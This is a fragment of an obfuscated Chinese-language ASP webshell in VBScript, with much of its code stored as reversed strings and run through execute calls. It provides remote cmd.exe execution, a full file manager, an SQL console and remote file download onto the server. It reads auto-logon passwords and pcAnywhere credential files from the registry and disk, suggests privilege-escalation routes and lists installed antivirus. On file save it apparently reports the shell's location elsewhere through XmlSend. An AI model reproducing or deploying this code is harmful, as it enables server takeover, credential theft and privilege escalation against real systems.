elifpmetzsΩ)Θtcejbometsyselif.gnitpircsΘ(tcejboetaerc.revres=osf tesΩ)Θllehs.tpircswΘ(tcejboetaerc.revres=sw tesΩ)Θllehs.tpircswΘ(tcejboetaerc.revres=sw tesΩtxen emuser rorre noΩesleΩaaa&is=isΩlladaer.tuodts.dd=aaaΩ)dmcfed&Θ c/ Θ&htapllehs(cexe.mc=dd tesΩ))0,1(tbo(tcejboetaerc=mc tesΩneht ΘseyΘ=)ΘtpircswΘ(mrof.tseuqer fiΩneht ΘΘ><)ΘdmcΘ(mrof.tseuqer fiΩΘ>'dmc'=ssalc ';044:thgieh;%001:htdiw'=elyts aeratxet<>'行执'=eulav 'timbus'=epyt tupni< >'Θ&dmcfed&Θ'=eulav '%29:htdiw'=elyts 'dmc'=eman tupni<Θ&is=isΩΘllehs.tpircsw>Θ&dekcehc&Θ'sey'=eulav 'tpircsw'=eman 'xobkcehc'=epyt c=ssalc tupni<Θ&is=isΩΘ >'%07:htdiw'=elyts 'Θ&htapllehs&Θ'=eulav 'ps'=eman tupni<:径路llehsΘ&is=isΩΘ>'tsop'=dohtem mrof<Θ=isΩ)ΘdmcΘ(tseuqer = dmcfed neht ΘΘ><)ΘdmcΘ(tseuqer fiΩΘΘ=dekcehc neht ΘseyΘ><)ΘtpircswΘ(tseuqer fiΩΘmoc.dmc\RELCYCER\:CΘ = htapllehs neht ΘΘ=htapllehs fiΩ)ΘhtapllehsΘ(noisses=htapllehsΩ)ΘpsΘ(tseuqer = )ΘhtapllehsΘ(noisses neht ΘΘ><)ΘpsΘ(tseuqer fiΩΘdekcehc Θ=dekcehcΩ)(llehs1dmc noitcnufΩΩ") +Function CreateMdb(Path) +SI="

    " +Set C = CreateObject(ObT(2,0)) +C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Path) +Set C = Nothing +If Err.number=0 Then + SI = SI & Path & "建立成功!" +End If +SI=SI&BackUrl +RRS SI +End function +execute UZSS("noitcnuF dnEΩIS SRR ΩlrUkcaB&IS=IS ΩfI dnE ΩΘ>retnec/<!功成缩压Θ&htaP&Θ库据数>rb<>rb<>rb<>retnec<Θ=ISΩnehT 0=rebmun.rrE fI ΩfI dnEΩgnihtoN=OSF teS ΩfI dnE Ω1=rebmun.rrEΩ Θ>retnec/<!现发有没Θ&htaP&Θ库据数>rb<>rb<>rb<>retnec<Θ=ISΩeslE ΩhtaP,Θkab_Θ&htaP eliFevoM.OSFΩhtaP eliFeteleD.OSFΩgnihtoN=C teSΩΘkab_Θ&htaP& Θ=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP,Θ&htaP&Θ=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorPΘ esabataDtcapmoC.C Ω ))0,3(TbO(tcejbOetaerC=C teSΩnehT )htaP(stsixEeliF.OSF fI Ω))1,0(TbO(tcejbOetaerC=OSF teS ΩeslEΩgnihtoN=C teSΩhtaP& Θ=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP,Θ&htaP&Θ=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorPΘ esabataDtcapmoC.C Ω ))0,3(TbO(tcejbOetaerC=C teSΩnehT )1,0(TbO toN fIΩ)htaP(bdMtcapmoC noitcnuF") +execute UZSS("noitcnuF dnEΩΘ>TNOF/<Θ & rts & Θ>2222ff#=roloc TNOF<Θ = deRΩ)rts(deR noitcnuFΩbuS dnEΩΘ>ELBAT/<Θ etirW.esnopseRΩΘ>RT/< Θ etirW.esnopseRΩΘ>DT/<Θ etirW.esnopseRΩfi dnEΩΘΘ etirW.esnopseRΩΘ>';)1-(og.yrotsih'=kcilCno 回返=eulav nottub=epyt TUPNI< Θ etirW.esnopseRΩeslEΩΘΘ etirW.esnopseRΩΘ>';)(esolc.wodniw'=kcilcno 闭关=eulav nottub=epyt TUPNI< Θ etirW.esnopseRΩnehT 0=galf fIΩΘΘ etirW.esnopseRΩΘ>dnEBT=ssalc DT<Θ etirW.esnopseRΩΘ>RT< Θ etirW.esnopseRΩΘ>RT/< Θ etirW.esnopseRΩΘ>DT/<Θ etirW.esnopseRΩΘ>ELBAT/< Θ etirW.esnopseRΩΘ>RT/<Θ etirW.esnopseRΩΘ>DT/<>P/<Θ etirW.esnopseRΩgsm etirW.esnopseRΩΘ>P<>DT< Θ etirW.esnopseRΩΘ>RT<Θ etirW.esnopseRΩΘ>DT/<>TNOF/<Θ etirW.esnopseRΩetats etirW.esnopseRΩΘ>der=roloc TNOF<>DT< Θ etirW.esnopseRΩΘ>RT<Θ etirW.esnopseRΩΘ>0=gnicapsllec 5=gniddapllec 0=redrob %28=htdiw ELBAT< Θ etirW.esnopseRΩΘ>dccfce#=rolocgb elddim=ngila DT<Θ etirW.esnopseRΩΘ>RT< Θ etirW.esnopseRΩΘ>RT/< Θ etirW.esnopseRΩΘ>DT/<息信统系>daeHBT=ssalc DT<Θ etirW.esnopseRΩΘ>RT< Θ etirW.esnopseRΩΘ>ddd#=rolocgb 1=gnicapsllec 0=gniddapllec retnec=ngila 0=redrob 084=htdiw ELBAT<Θ etirW.esnopseRΩ)galf,gsm,etats(egasseM buS") +execute MorfiCoder(" noitcnuF dnE/*/fI dnE /*/txeN emuseR rorrE nO /*/nehT eslaF = edoMgubeDsi fI /*//*/gnihtoN = maertS teS /*/gnihtoN = pttH teS /*/ /*/)rrE(rrEkhc /*/htiW dnE /*/esolC. /*/fI dnE /*/etirWrevo ,htaPeht eliFoTevaS. /*/emaNelif & \*\\\*\ & htaPeht = htaPeht /*/fI dnE /*/\*\txt.mth.xedni\*\ = emaNelif /*/nehT \*\\*\ = emaNelif fI /*/)))\*\/\*\ ,lrUeht(tilpS(dnuoBU()\*\/\*\ ,lrUeht(tilpS = emaNelif /*/raelC.rrE /*/nehT 4003 = rebmuN.rrE fI /*/etirWrevo ,htaPeht eliFoTevaS. /*/0 = noitisoP. /*/ydoBesnopseR.pttH etirW. /*/nepO. /*/3 = edoM. /*/1 = epyT. /*/maerts htiW /*/ /*/fI dnE /*//*/ nehT 4 >< etatSydaeR.pttH fI /*/)(dneS.pttH /*/eslaF ,lrUeht ,\*\TEG\*\ nepO.pttH /*/ /*/fI dnE /*/1 = etirWrevo /*/nehT 2 >< etirWrevo fI /*/ /*/)\*\PTTHLMX.2LMXSM\*\(tcejbOetaerC.revreS = pttH teS /*/)\*\maer\*\&e&\*\ts.bdo\*\&e&\*\da\*\(tcejbOetaerC.revreS = maerts teS /*/)\*\etirWrevo\*\(tseuqeR = etirWrevo /*/)\*\htaPeht\*\(tseuqeR = htaPeht /*/)\*\lrUeht\*\(tseuqeR = lrUeht /*/etirWrevo ,emaNelif ,maerts ,htaPeht ,lrUeht ,pttH miD /*/fI dnE /*/txeN emuseR rorrE nO /*/nehT eslaF = edoMgubeDsi fI /*/\*\>/rh<\*\ SRR /*/\*\>mrof/<\*\ SRR /*/\*\>tcAeht=eman lrUmorFnwod=eulav neddih=epyt tupni<\*\ SRR /*/\*\盖覆在存>2=eulav etirWrevo=eman xobkcehc=epyt tupni<\*\ SRR /*/\*\>08=ezis \*\\*\\*\ & ))\*\.\*\(htaPpaM.revreS(edocnElmtH & \*\\*\\*\=eulav htaPeht=eman tupni<\*\ SRR /*/\*\>/rb<>' 载下 '=eulav timbus=epyt tupni<>08=ezis '//:ptth'=eulav lrUeht=eman tupni<\*\ SRR /*/\*\>tsop=dohtem mrof<\*\ SRR /*/\*\>/rh<显回无以所.省节了为...显回无:器务服到载下\*\ SRR /*/ \*\>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '%08'=htdiw elbat<>rb<\*\=IS/*/)(daolpu noitcnuF/*/") +Function TSearch() + dim st + st=timer() + RW="
    " + RW=RW & "" + RW=RW & "" + RW=RW & "" + RW=RW & "
    搜索引擎
     路  径: 注:多路徑使用"",""号连接.
     文件名:  [部分也行]
    " + Response.Write RW : RW="" + if Request.Form("Sfk")<>"" then + Set newsearch=new SearchFile + newsearch.Folders=trim(Request.Form("SFpath")) + newsearch.keyword=trim(Request.Form("Sfk")) + newsearch.Search + Set newsearch=Nothing + Response.Write "費時:"&(timer()-st)*1000&"毫秒
    " + end if +End Function +Class SearchFile + dim Folders,keyword,objFso,Counter + Private Sub Class_Initialize + Set objFso=Server.CreateObject(ObT(0,0)) + Counter=0 + End Sub + Private Sub Class_Terminate + Set objFso=Nothing + End Sub + Function Search + Folders=split(Folders,",") + flag=instr(keyword,"\") or instr(keyword,"/") + flag=flag or instr(keyword,":") + flag=flag or instr(keyword,"|") + flag=flag or instr(keyword,"&") + if flag then + Response.Write "

    關鍵字不能包含/\:|&
    " + Exit Function + else + Response.Write "


    " + end if + dim i + for i=0 to ubound(Folders) + Call GetAllFile(Folders(i)) + next + Response.Write "

    共搜索到"&Counter&"個結果
    " + End Function + Private Function GetAllFile(Folder) + dim objFd,objFs,objFf + Set objFd=objFso.GetFolder(Folder) + Set objFs=objFd.SubFolders + Set objFf=objFd.Files + dim strFdName + On Error Resume Next + For Each OneDir In objFs + strFdName=OneDir.Name + If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then + SFN=Folder&"\"&strFdName + Call GetAllFile(SFN) + End If + Next + dim strFlName + For Each OneFile In objFf + strFlName=OneFile.Name + If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then + FN=Folder&"\"&strFlName + Counter=Counter+ColorOn(FN) + End If + Next + Set objFd=Nothing + Set objFs=Nothing + Set objFf=Nothing + End Function + Private Function CreatePattern(keyword) + CreatePattern=keyword + CreatePattern=Replace(CreatePattern,".","\.") + CreatePattern=Replace(CreatePattern,"+","\+") + CreatePattern=Replace(CreatePattern,"(","\(") + CreatePattern=Replace(CreatePattern,")","\)") + CreatePattern=Replace(CreatePattern,"[","\[") + CreatePattern=Replace(CreatePattern,"]","\]") + CreatePattern=Replace(CreatePattern,"{","\{") + CreatePattern=Replace(CreatePattern,"}","\}") + CreatePattern=Replace(CreatePattern,"*","[^\\\/]*") + CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}") + CreatePattern="("&CreatePattern&")+" + End Function + Private Function ColorOn(FileName) + dim objReg + Set objReg=new RegExp + objReg.Pattern=CreatePattern(keyword) + objReg.IgnoreCase=True + objReg.Global=True + retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1)) + if retVal then + OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1") + OutPut="

     " & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut + Response.Write OutPut + Response.flush + ColorOn=1 + else + ColorOn=0 + end if + Set objReg=Nothing + End Function +End Class +execute UZSS("noitcnuf dnE:Θ!毕完除删Θetirw.esnopser:))Θpsj.tsetΘ(htappam.revres(eliFeteleD.osf:))Θphp.tsetΘ(htappam.revres(eliFeteleD.osf:))Θxpsa.tsetΘ(htappam.revres(eliFeteleD.osf:)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS=osf tes:)(ledjpa noitcnufΩnoitcnuf dnE:Θ!除删得記後完試測,!拉持支不是就則否>der=roloc tnof<>pretnec<>rb<>p<>rb<>rb<>p<>rb<>p<>rb<>rb<Θ etirw.esnopseR:Θ >emarfi/<>003=thgieh 059=htdiw xpsa.tset=crs emarfi<Θetirw.esnopseR:Θoo∩_∩ooΘetirW.))Θxpsa.tsetΘ(htappam.revres(eliFtxeTetaerC.osf:)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS=osf tes:)(xpsa noitcnuf:noitcnuf dnE:Θ>retnec/<>a/<>tnof/<)!错出会则否,除删以可才试测部全须必(件文有所的试测除删>der=roloc 5=ezis tnof<>'ledjpa=noitcA?'=ferh a<>p<>tnof/<>pretnec<>rb<>p<>rb<>rb<>p<>rb<>p<>rb<>rb<Θ etirw.esnopseR:Θ >emarfi/<>003=thgieh 059=htdiw psj.tset=crs emarfi<Θetirw.esnopseR:Θoo∩_∩ooΘetirW.))Θpsj.tsetΘ(htappam.revres(eliFtxeTetaerC.osf:)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS=osf tes:)(psj noitcnufΩnoitcnuf dnE:Θ!除删得記後完試測,!拉持支不是就則否der=roloc tnof<>pretnec<>rb<>p<>rb<>rb<>p<>rb<>p<>rb<>rb<Θ etirw.esnopseR:Θ >emarfi/<>003=thgieh 059=htdiw php.tset=crs emarfi<Θetirw.esnopseR:Θ>?)(ofniphp php?<>?'PHP持支器務服,喜恭' ohce PHP?<ΘetirW.))Θphp.tsetΘ(htappam.revres(eliFtxeTetaerC.osf:)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS=osf tes:)(php noitcnuf") +Function DbManager() + SqlStr=Trim(Request.Form("SqlStr")) + DbStr=Request.Form("DbStr") + SI=SI&"
    " + SI=SI&"" + SI=SI&"" + SI=SI&"" + SI=SI&"" + SI=SI&"" + SI=SI&"" + SI=SI&"" + SI=SI&"" + SI=SI&"
    数据库连接串:
    SQL操作命令:
    " + RRS SI:SI="" + If Len(DbStr)>40 Then + Set Conn=CreateObject(ObT(5,0)) + Conn.Open DbStr + Set Rs=Conn.OpenSchema(20) + SI=SI&"" + Rs.MoveFirst + Do While Not Rs.Eof +If Rs("TABLE_TYPE")="TABLE" then + TName=Rs("TABLE_NAME") + SI=SI&"" +End If +Rs.MoveNext + Loop + Set Rs=Nothing + SI=SI&"

    [ del ]
    " + SI=SI&""&TName&"
    " + RRS SI:SI="" +If Len(SqlStr)>10 Then + If LCase(Left(SqlStr,6))="select" then +SI=SI&"执行语句:"&SqlStr +Set Rs=CreateObject("Adodb.Recordset") +Rs.open SqlStr,Conn,1,1 +FN=Rs.Fields.Count +RC=Rs.RecordCount +Rs.PageSize=20 +Count=Rs.PageSize +PN=Rs.PageCount +Page=request("Page") +If Page<>"" Then Page=Clng(Page) +If Page="" Or Page=0 Then Page=1 +If Page>PN Then Page=PN +If Page>1 Then Rs.absolutepage=Page +SI=SI&"" +For n=0 to FN-1 + Set Fld=Rs.Fields.Item(n) + SI=SI&"" + Set Fld=nothing +Next +SI=SI&"" +Do While Not(Rs.Eof or Rs.Bof) And Count>0 + Count=Count-1 + Bgcolor="#EFEFEF" + SI=SI&"" + For i=0 To FN-1 +If Bgcolor="#EFEFEF" Then:Bgcolor="#F5F5F5":Else:Bgcolor="#EFEFEF":End if +If RC=1 Then +ColInfo=HTMLEncode(Rs(i)) +Else +ColInfo=HTMLEncode(Left(Rs(i),50)) +End If +SI=SI&"" + Next + SI=SI&"" + Rs.MoveNext +Loop +RRS SI:SI="" +SqlStr=HtmlEnCode(SqlStr) +SI=SI&"
    "&Fld.Name&"
    x"&ColInfo&"
    记录数:"&RC&" 页码:"&Page&"/"&PN +If PN>1 Then + SI=SI&" 首页 上一页 " + If Page>8 Then:Sp=Page-8:Else:Sp=1:End if + For i=Sp To Sp+8 +If i>PN Then Exit For +If i=Page Then +SI=SI&i&" " +Else +SI=SI&""&i&" " +End If + Next + SI=SI&" 下一页 尾页" +End If +SI=SI&"
    " +Rs.Close:Set Rs=Nothing +RRS SI:SI="" + Else +Conn.Execute(SqlStr) +SI=SI&"SQL语句:"&SqlStr + End If + RRS SI:SI="" +End If + Conn.Close + Set Conn=Nothing + End If +End Function +Dim T1 +Class UPC + Dim D1,D2 + Public Function Form(F) +F=lcase(F) +If D1.exists(F) then:Form=D1(F):else:Form="":end if + End Function + Public Function UA(F) +F=lcase(F) +If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if + End Function + Private Sub Class_Initialize + Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName +set D1=CreateObject(ObT(4,0)) +if Request.TotalBytes<1 then Exit Sub +set T1 = CreateObject(ObT(6,0)) +T1.Type = 1 : T1.Mode =3 : T1.Open +T1.Write Request.BinaryRead(Request.TotalBytes) +T1.Position=0 : TDa =T1.Read : DStart = 1 +DEnd = LenB(TDa) +set D2=CreateObject(ObT(4,0)) +vbCrlf = chrB(13) & chrB(10) +set T2 = CreateObject(ObT(6,0)) +TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) +TLen = LenB (TSt) +DStart=DStart+TLen+1 +while (DStart + 10) < DEnd + DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 + T2.Type = 1 : T2.Mode =3 : T2.Open + T1.Position = DStart + T1.CopyTo T2,DIEnd-DStart + T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312" + TIn = T2.ReadText : T2.Close + DStart = InStrB(DIEnd,TDa,TSt) + FStart = InStr(22,TIn,"name=""",1)+6 + FEnd = InStr(FStart,TIn,"""",1) + UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) + if InStr (45,TIn,"filename=""",1) > 0 then +set TFL=new FIF +FStart = InStr(FEnd,TIn,"filename=""",1)+10 +FEnd = InStr(FStart,TIn,"""",1) +FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 +FEnd = InStr(FStart,TIn,vbCr) +TFL.FileStart =DIEnd +TFL.FileSize = DStart -DIEnd -3 +if not D2.Exists(UpName) then + D2.add UpName,TFL +end if + else +T2.Type =1 : T2.Mode =3 : T2.Open +T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 +T2.Position = 0 : T2.Type = 2 +T2.Charset ="gb2312" +SFV = T2.ReadText +T2.Close +if D1.Exists(UpName) then + D1(UpName)=D1(UpName)&", "&SFV +else + D1.Add UpName,SFV +end if + end if + DStart=DStart+TLen+1 +wend +TDa="" +set T2 =nothing + End Sub + Private Sub Class_Terminate +if Request.TotalBytes>0 then + D1.RemoveAll:D2.RemoveAll + set D1=nothing:set D2=nothing + T1.Close:set T1 =nothing +end if + End Sub +End Class +Class FIF +dim FileSize,FileStart + Private Sub Class_Initialize + FileSize = 0 + FileStart= 0 + End Sub + Public function SaveAs(F) + dim T3 + SaveAs=true + if trim(F)="" or FileStart=0 then exit function + set T3=CreateObject(ObT(6,0)) + T3.Mode=3 : T3.Type=1 : T3.Open + T1.position=FileStart + T1.copyto T3,FileSize + T3.SaveToFile F,2 + T3.Close + set T3=nothing + SaveAs=false +end function +End Class +Class LBF + Dim CF + Private Sub Class_Initialize +SET CF=CreateObject(ObT(0,0)) + End Sub + Private Sub Class_Terminate +Set CF=Nothing + End Sub +Function ShowDriver() +For Each D in CF.Drives + RRS"    磁盘 ("&D.DriveLetter&":)
    " + Next + End Function + Function Show1File(Path) +Set FOLD=CF.GetFolder(Path) +i=0 +SI="" +For Each F in FOLD.subfolders +SI=SI&"" +i=i+1 +If i mod 5 = 0 then SI=SI&"" +Next +SI=SI&"
    " +SI=SI&"0
    "&F.Name&"
    " +SI=SI&"
    [Copy " +SI=SI&"Del" +SI=SI&" Move" +SI=SI&" Down]
    " +RRS SI:SI="":i=0 +SI="" +For Each L in Fold.files +SI=SI&"" +i=i+1 +If i mod 2 = 0 then SI=SI&"" +Next + RRS SI&"
    2"&L.Name&" [ " +SI=SI&"Edit " +SI=SI&"Del " +SI=SI&"Copy " +SI=SI&"Move ] - " +SI=SI&clng(L.size/1024)&"K
    " +SI=SI&L.Type&" - " +SI=SI&L.DateLastModified&"
    " +Set FOLD=Nothing + End Function + Function DelFile(Path) +If CF.FileExists(Path) Then +CF.DeleteFile Path +SI="



    文件 "&Path&" 删除成功!
    " +SI=SI&BackUrl +RRS SI +End If + End Function +Function EditFile(Path) + If Request("Action2")="Post" Then + Set T=CF.CreateTextFile(Path) +T.WriteLine Request.form("content") +T.close + Set T=nothing +if session("IDebugMode") <> "ok" then +XmlSend (R00tPath):session("IDebugMode")="ok" +end if +SI="



    文件保存成功!
    " +SI=SI&BackUrl +RRS SI +Response.End + End If + If Path<>"" Then +Set T=CF.opentextfile(Path, 1, False) +Txt=HTMLEncode(T.readall) +T.close +Set T=Nothing + Else +Path=Session("FolderPath")&"\new.asp":Txt="" + End If + SI=SI&"
    " + SI=SI&"" + SI=SI&"
    " + SI=SI&"
    " + SI=SI&"
    " + RRS SI + End Function + Function CopyFile(Path) + Path = Split(Path,"||||") +If CF.FileExists(Path(0)) and Path(1)<>"" Then + CF.CopyFile Path(0),Path(1) + SI="



    文件"&Path(0)&"复制成功!
    " + SI=SI&BackUrl + RRS SI +End If + End Function + Function MoveFile(Path) + Path = Split(Path,"||||") +If CF.FileExists(Path(0)) and Path(1)<>"" Then + CF.MoveFile Path(0),Path(1) + SI="



    文件"&Path(0)&"移动成功!
    " + SI=SI&BackUrl + RRS SI +End If + End Function + Function DelFolder(Path) +If CF.FolderExists(Path) Then + CF.DeleteFolder Path + SI="



    目录"&Path&"删除成功!
    " + SI=SI&BackUrl + RRS SI +End If + End Function + Function CopyFolder(Path) + Path = Split(Path,"||||") +If CF.FolderExists(Path(0)) and Path(1)<>"" Then + CF.CopyFolder Path(0),Path(1) + SI="



    目录"&Path(0)&"复制成功!
    " + SI=SI&BackUrl + RRS SI +End If + End Function + Function MoveFolder(Path) + Path = Split(Path,"||||") +If CF.FolderExists(Path(0)) and Path(1)<>"" Then + CF.MoveFolder Path(0),Path(1) + SI="



    目录"&Path(0)&"移动成功!
    " + SI=SI&BackUrl + RRS SI +End If + End Function +Function NewFolder(Path) +If Not CF.FolderExists(Path) and Path<>"" Then + CF.CreateFolder Path + SI="



    目录"&Path&"新建成功!
    " + SI=SI&BackUrl + RRS SI +End If + End Function +End Class +execute UZSS("buS dnEΩfi dnEΩΘ码密erehwynAcp到得解破并载下录目认默从以可,件文码密erehwynAcp_现发>il<Θ etirW.esnopseRΩnehT )Θfic.Θ&emanrevres&Θ\cetnamyS\ataD noitacilppA\sresU llA\sgnitteS dnA stnemucoD\Θ&revirdsys(stsixEeliF.osf fIΩ)ΘemaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKHΘ(daeRgeR.hsw=emanrevresΩ)2,)2(redloFlaicepsteG.osF(tfel=evirdsySΩ)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejboetaerC.revreS=osf teSΩtxeNΩfi dnEΩfi dnEΩΘ>rb<马木PHP入写且并,录目liaMbeW找查以可,动启限权metsySlacoL以且,liamniW cigaM_有中器务服>il<Θ etirW.esnopseRΩnehT ΘmetsySlacoLΘ=emaNtnuoccAecivreS.ecivreSjbo fiΩnehT )ΘliamniwΘ,)emaN.ecivreSjbo(esacl(rtsni fiΩfi dnEΩfi dnEΩΘ>rb<权提马木psJ用使虑考以可,动启限权metsySlacoL以且,tacmoT_有中器务服>il<Θ etirW.esnopseRΩnehT ΘmetsySlacoLΘ=emaNtnuoccAecivreS.ecivreSjbo fiΩnehT )ΘtacmotΘ,)emaN.ecivreSjbo(esacl(rtsni fiΩfi dnEΩfi dneΩfi dnEΩΘ>rb<马木PHP虑考以可,metsySlacoL为限权动启,在存务服ehcapA_有中器务服>il< Θ etirW.esnopseRΩeslEΩΘ>rb<权提接直以可.ehcapA为器务服BEW前当>il<Θ etirW.esnopseRΩnehT )ΘehcapAΘ,)ΘERAWTFOS_REVRESΘ(selbairaVrevreS.tseuqeR(rtsni fIΩnehT ΘmetsySlacoLΘ=emaNtnuoccAecivreS.ecivreSjbo fiΩnehT ΘehcapaΘ=)emaN.ecivreSjbo(esacl fiΩfi dnEΩfi dnEΩΘ>rb<权提具工exe.us用虑考以可,动启限权metsySlacoL以且,装安U-vreS_有中器务服>il<Θ etirW.esnopseRΩnehT ΘmetsySlacoLΘ=emaNtnuoccAecivreS.ecivreSjbo fiΩnehT ΘU-vreSΘ=emaN.ecivreSjbo fiΩretupmoCjbo nI ecivreSjbo hcaE roFΩtxeN emuseR rorrE nOΩ)ΘecivreSΘ(yarrA = retliF.retupmoCjboΩ)ΘnoitacilppA.llehSΘ(tcejbOetaerC.revreS = as teSΩ)Θ.//:TNniWΘ(tcejbOteG = retupmoCjbo teSΩΘ>rh<>rb<]测探点_弱器务服[Θ etirw.esnopseRΩΘ>rb<>rb<>rb<------------------------------------Θ etirW.esnopseRΩΘ>rb<Θ&kk&Θ:为卡网_动活前当>il<ΘetirW.esnopseRΩ)kh(daeRgeR.hsw=kkΩΘtnuoC\munE\pipcT\secivreS\100teSlortnoC\METSYS\MLKHΘ=khΩΘ>rb<Θ&lmtn&Θ:为置设lmtN tenleT>il<Θ etirW.esnopseRΩ1=lmtN nehT ΘΘ=lmtn fiΩ)yekLMTN(daeRgeR.hsW=lmtnΩΘLMTN\0.1\revreStenleT\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKHΘ=yekLMTNΩΘ>rb<Θ&ylpsid&Θ:户用入登次_上示显否是>il<Θ etirW.esnopseRΩΘ否Θ=ylpsid esle Θ是Θ=ylpsid nehT 0=nigolpsid ro ΘΘ=nigolpsid fIΩ)ΘemaNresUtsaLyalpsiDtnoD\metsyS\seiciloP\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\ENIHCAM_LACOL_YEKHΘ(daeRger.hsw=nigolpsidΩfi dnEΩΘ>rb<Θ&dwssaP&Θ:码密>erauqs=epyt il<Θ etirW.esnopseRΩΘ>rb<Θ&nimdA&Θ:名户用>erauqs=epyt il<Θ etirW.esnopseRΩ)ΘdrowssaPtluafeD\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKHΘ(daeRgeR.hsW=dwssaPΩ)ΘemaNresUtluafeD\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKHΘ(daeRgeR.hsW=nimdAΩΘ>rb<用启:入登动_自户用>il<Θ etirW.esnopseRΩeslEΩΘ>rb<用启未:入登动_自户用>il<Θ etirW.esnopseRΩnehT ΘΘ=nigolotuA ro 0=nigolotuA fiΩ)nigolotuAsi(daeRgeR.hsW=nigolotuAΩΘnogoLnimdAotuA\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKHΘ=nigolotuAsiΩΘ>rb<Θ&emaNnimdA&Θ:为名户用员_理管认默>il<Θ etirW.esnopseRΩΘrotartsinimdAΘ=emaNnimdA nehT ΘΘ=emannimda fiΩ)yeKemaNnimdA(daeRgeR.hsw=emaNnimdAΩΘemaNresUtluafeDtlA\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKHΘ=yeKemaNnimdAΩΘ>rb<Θ&emancp&Θ:为名机_主前当>il<Θ etirW.esnopseRΩΘ>rb<.名机主取_读法无Θ=emancp nehT ΘΘ=emancp fiΩ)yekemancp(daeRgeR.hsw=emancpΩΘemaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKHΘ=yekemancpΩΘ>1=ezis rh<>rb<]测探_置设统系[>rb<>rb<Θ etirW.esnopseRΩtxenΩΘ>rb<Θ&)i(shtap&Θ>il<Θ etirW.esnopseRΩ)shtap(dnuobU ot )shtap(dnuobL=i roFΩΘ>rb<:量变径路_前当统系Θ etirW.esnopseRΩΘ>rb<------------------------------------Θ etirW.esnopseRΩ)Θ;Θ,htaPtfoS(tilps=shtapΩΘ>rb<持支:_件软毒杀列系星瑞>il<Θ etirW.esnopseR nehT )ΘgnisirΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_件软毒杀克铁门赛>il<Θ etirW.esnopseR nehT )ΘsurivitnaΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_件软毒杀列系山金 >il<Θ etirW.esnopseR nehT )ΘvakΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_件软毒杀lliK>il<Θ etirW.esnopseR nehT )ΘlliKΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_制控erehwynAcP克铁门赛>il<Θ etirW.esnopseR nehT )ΘerehwynacpΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_器务服MFC>il<Θ etirW.esnopseR nehT )Θ7xmnoisufcΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_务服库据数elcarO>il<Θ etirW.esnopseR nehT )ΘelcaroΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_务服库据数LQSyM>il<Θ etirW.esnopseR nehT )ΘlqsymΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_务服库据数LQSSM>il<Θ etirW.esnopseR nehT )Θrevres lqs tfosorcimΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_本脚avaJ>il<Θ etirW.esnopseR nehT )ΘavajΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_本脚lreP>il<Θ etirW.esnopseR nehT )ΘlrepΘ,ofnihtaP(rtsnI fiΩΘ:持支件_软统系Θ etirW.esnopseRΩ)htaPtfoS(esacl=ofnihtaPΩ)ΘhtaPΘ(meti.tnemnorivnE.hsW=htaPtfoSΩΘ>1=ezis rh<>rb<]测探件_软统系[>rb<>rb<>rb<Θ etirW.esnopseRΩΘ>lo/<ΘSrRΩfI dnEΩΘ>rb<Θ & drowssaPnigoLotua & Θ :码密户帐的_录登动自ΘSrRΩfI dnEΩΘeslaFΘSrRΩraelC.rrEΩnehT rrE fIΩ)yeKssaPnigoLotua & htaPnigoLotua(daeRgeR.Xsw = drowssaPnigoLotuaΩΘ>rb<Θ & emanresUnigoLotua & Θ :户帐统系的_录登动自ΘSrRΩ)yeKresUnigoLotua & htaPnigoLotua(daeRgeR.Xsw = emanresUnigoLotuaΩeslEΩnehT 0 = elbanEnigoLotuAsi fIΩ)yeKelbanEnigoLotua & htaPnigoLotua(daeRgeR.Xsw = elbanEnigoLotuAsiΩΘdrowssaPtluafeDΘ = 